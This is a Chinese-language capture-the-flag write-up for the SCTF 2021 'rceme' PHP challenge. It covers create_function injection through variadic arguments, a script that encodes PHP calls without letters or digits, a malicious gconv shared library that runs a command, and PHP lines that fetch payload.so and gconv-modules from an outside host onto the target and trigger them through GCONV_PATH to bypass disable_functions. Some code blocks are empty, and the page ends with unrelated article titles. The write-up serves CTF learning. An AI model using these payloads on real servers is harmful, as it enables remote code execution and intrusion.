• [SCTF 2021]rceme



    前置知识

    可变参数绕过

    PHP 在用户自定义函数中支持可变数量的参数列表。在 PHP 5.6 及以上的版本中,由 … 语法实现;在 PHP 5.5 及更早版本中,使用函数func_num_args(),func_get_arg(),和 func_get_args() 。

    本地测试下,版本为7.3.4

    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11

    可以发现运行结果为26
    在这里插入图片描述

    create_function注入

    create_function函数会在内部执行 eval函数

    本地测试如下

    
    
    • 1
    • 2
    • 3
    • 4

    成功回显,当然这里可以结合可变参数,构造如下

    $args=['','}system("whoami");//'];
    create_function(...$args);
    
    • 1
    • 2

    无字母数字RCE

    这里用的是取反结合异或[!%FF]
    脚本如下

    # -*- coding: utf-8 -*
    # /usr/bin/python3
    # @Author:Firebasky
    exp = ""
    def urlbm(s):
        ss = ""
        for each in s:
            ss += "%" + str(hex(255 - ord(each)))[2:]
        return f"[~{ss}][!%FF]("
    while True:
        fun = input("Firebasky>: ").strip(")").split("(")
        exp = ''
        for each in fun[:-1]:
            exp += urlbm(each)
            print(exp)
        exp += ")" * (len(fun) - 1) + ";"
        print(exp)
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17

    比如构造call_user_func(...unserialize(end(getallheaders())));

    [~%9c%8d%9a%9e%8b%9a%a0%99%8a%91%9c%8b%96%90%91][!%FF](...[~%8a%91%8c%9a%8d%96%9e%93%96%85%9a][!%FF]([~%9a%91%9b][!%FF]([~%98%9a%8b%9e%93%93%97%9a%9e%9b%9a%8d%8c][!%FF]())));
    
    • 1

    动态链接库so绕过disable_functions

    创建payload.c
    把读取的flag写到./tmp/1

    #include 
    #include 
    
    void gconv() {}
    
    void gconv_init() {
      puts("pwned");
      system("bash -c '/readflag > /tmp/1'");
      exit(0);
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10

    从目标文件生成动态链接库

    gcc payload.c -o payload.so -shared -fPIC
    
    • 1

    利用点
    linux系统提供了一个环境变量:GCONV_PATH,该环境变量能够使glibc使用用户自定义的gconv-modules文件,因此,如果指定了GCONV_PATH的值,iconv_open函数的执行过程会如下:

    1. iconv_open函数依照GCONV_PATH找到gconv-modules文件。
    2. 根据gconv-modules文件的指示找到参数对应的.so文件。
    3. 调用.so文件中的gconv()和gonv_init()函数。

    gconv-modules文件格式

    module  自定义字符集名字(大写)//    INTERNAL    ../../../../../../../../tmp/自定义字符集名字(小写)    2
    module  INTERNAL    自定义字符集名字(大写)//    ../../../../../../../../tmp/自定义字符集名字(小写)    2
    
    • 1
    • 2

    所以本题对应的是

    module  PAYLOAD//    INTERNAL    ../../../../../../../../tmp/payload    2
    module  INTERNAL    PAYLOAD//    ../../../../../../../../tmp/payload    2
    
    • 1
    • 2

    利用php原生类进行文件读取

    SplFileObject是标准的文件操作类,用来进行文件读取

    我们可以在服务器的根目录上启动服务,写入gconv-modulespayload.so文件,然后再利用原生类读取公网ip(也就是映射的服务器)的文件

    a=$url="https://5i781963p2.yicp.fun:443/payload.so";$file1=new SplFileObject($url,'r');$a="";while(!$file1->eof()){$a=$a.$file1->fgets();}$file2 = new SplFileObject('/tmp/payload.so','w');$file2->fwrite($a);
    
    • 1
    a=$url="https://5i781963p2.yicp.fun:443/gconv-modules";$file1=new SplFileObject($url,'r');$a="";while(!$file1->eof()){$a=$a.$file1->fgets();}$file2 = new SplFileObject('/tmp/gconv-modules','w');$file2->fwrite($a);
    
    • 1

    再用伪协议触发

    a=putenv("GCONV_PATH=/tmp/");show_source("php://filter/read=convert.iconv.payload.utf-8/resource=/tmp/payload.so");
    
    • 1

    最后高光读取即可

    解题过程

    源码如下

    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14

    可以发现无字母数字RCE,同时是也是无参的,然后提示禁用的函数
    这里我们可以fuzz测试下能用的

    def find_missing_words(target_file_path, search_file_path):
        with open(target_file_path, 'r') as target_file:
            target_words = set(target_file.read().replace(',', '').split())
    
        with open(search_file_path, 'r') as search_file:
            search_words = set(search_file.read().replace(',', '').split())
    
        missing_words = target_words - search_words
    
        return missing_words
    
    # 指定目标查找文件的路径
    target_file_path = 'php函数字典.txt'
    
    # 指定被查找文件的路径
    search_file_path = 'search.txt'
    
    # 调用函数查找未被找到的函数
    missing_words = find_missing_words(target_file_path, search_file_path)
    
    # 打印未被找到的单词
    if missing_words:
        print("以下函数未被找到:")
        for word in missing_words:
            print(word)
    else:
        print("所有函数都被找到了。")
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27

    其中search.txt即为提示的禁用函数
    跑出来结果如下
    在这里插入图片描述
    那么我们可以构造call_user_func(...unserialize(end(getallheaders())));
    exp如下

    
                    
  • 相关阅读:
    RISC-V(2)——特权级及特权指令集
    FANUC机器人电气控制柜内部硬件电路和模块详细介绍
    Keil uVision5 创建STM32F4
    使用 ROS2 为您自己的机器人创建 Gazebo 模拟
    结构化文本的跨行计算
    没有设计经验的新手如何制作一本电子画册?
    element收缩已经展开的菜单
    彻底掌握Makefile(三)
    使用FP8加速PyTorch训练
    Git基本命令和使用
  • 原文地址:https://blog.csdn.net/m0_73512445/article/details/134542950